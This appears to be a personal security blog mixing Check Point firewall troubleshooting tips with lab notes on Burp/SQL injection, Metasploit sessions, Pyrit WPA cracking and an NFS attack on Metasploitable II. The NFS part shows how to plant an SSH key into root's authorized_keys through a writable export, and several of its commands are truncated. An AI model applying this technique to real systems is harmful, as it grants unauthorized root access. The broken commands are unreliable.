Checkpoint Remote Access 'connection failed' Issue with Windows 8 or 8.1

I have seen this issue in couple of clients, they were using windows 8 and windows 8.1.

They tried to connect with Remote Access Client E75.30, but 'connection failed' popup displayed straight away. There are couple of SKs about duplicate IP addresses etc.

Simply, Remote Access Clients E80.42 msi file (MSI) is the way to go.
File Name:CP_EPS_E80.42_RAC_Windows.msi
Product:Endpoint Security VPN
Minor Version:E80.42
Size:15.90 MB
Date Published:12/10/2013

It worked a treat.

Mutillidae: Basics of Web Request and Response Interception with Burp-Suite

There is something more here;

  • It explains the method to bypass the java script validation built on the client side (browser). 
  • After transferring normal strings, change the strings to SQL injection on-the-fly with Burp or another proxy utility.

Fun stuff! :)

sessions (msfconsole)

Is there a background session?


list the sessions established

to connect one of them

sessions -i [session_id]

Unix Fundamentals - NFS Service / Attack Illustration

look at the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p

    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs

    100003    4   tcp   2049  nfs

root@ubuntu:~# showmount -e

Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: 

root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs /tmp/r00t/ rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd. 
mount.nfs: an incorrect mount option was specified.

This is the message you get when you try to mount the NFS export. 

restarting nfs-common is not enough

  • service nfs-common restart

restarting rpc will resolve the issue.

  • service rpcbind restart

root@ubuntu:~# cat /root/.ssh/ >> /tmp/r00t/root/.ssh/authorized_keys 

ssh root@ 

//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay. 


The environment include Kali and Metasploitable II.

Debug Policy Install

Debugging a manual policy pull from the enforcement point, and push from the SmartCenter, like so:

fw -d fetch <SmartCenter server IP address>
  • fw -d fetchlocal -d $FWDIR/state/__tmp/FW1 &> <output file>

cpd.elg files from $CPDIR/log from the firewall

Push from the Smart Center to enforcement point;

fwm -d load policy_name gateway_name 2> <filename>.txt

Policy installation fails with "ERROR: function or table < pgm_len_block_code > undefined" and ".../conf/updates.def"

  • After upgrading a Security Management to R76, policy installation in SmartDashboard fails with the following errors:
    "/opt/.../conf/updates.def", line N: ERROR: syntax error
    "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: function or table < pgm_len_block_code > undefined
    "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: syntax error
    Compilation failed.
    Operation ended with errors. 
  • Debug of FWM daemon (per sk86186) shows the same 'ERROR: syntax error'.
  • Hotfix for IPv6 flavor issue from sk92933 does not help.
IPS definitions are not up-to-date, or do not exist.


Perform IPS Update in SmartDashboard.

The issue occurred on R77 env. as well.

Pyrit -WPA/WPA2-PSK Epic Fail-

Pyrit allows to create massive databases, pre-computing part of the IEEE 802.11 WPA/WPA2-PSK authentication phase in a space-time-tradeoff. Exploiting the computational power of Many-Core- and other platforms through ATI-StreamNvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.

WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from themaster key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog.

R77 is now available!

It seems to be the best one ever.

What's New in R77

New Threat Emulation Software Blade

The new Threat Emulation Software Blade blocks attacks which cannot be detected by signatures. It opens inspected files inside secure emulation environments to detect malicious behavior. It can be deployed as a cloud service or as a private (local) cloud.

New Check Point Compliance Blade

This new Software Blade analyzes your environment for compliance with major regulations and international standards. Check Point Compliance Blade generates detailed reports, with best practice recommendations taken from the large Check Point library. Check Point Compliance Blade sends alerts for policy changes that can affect compliance.
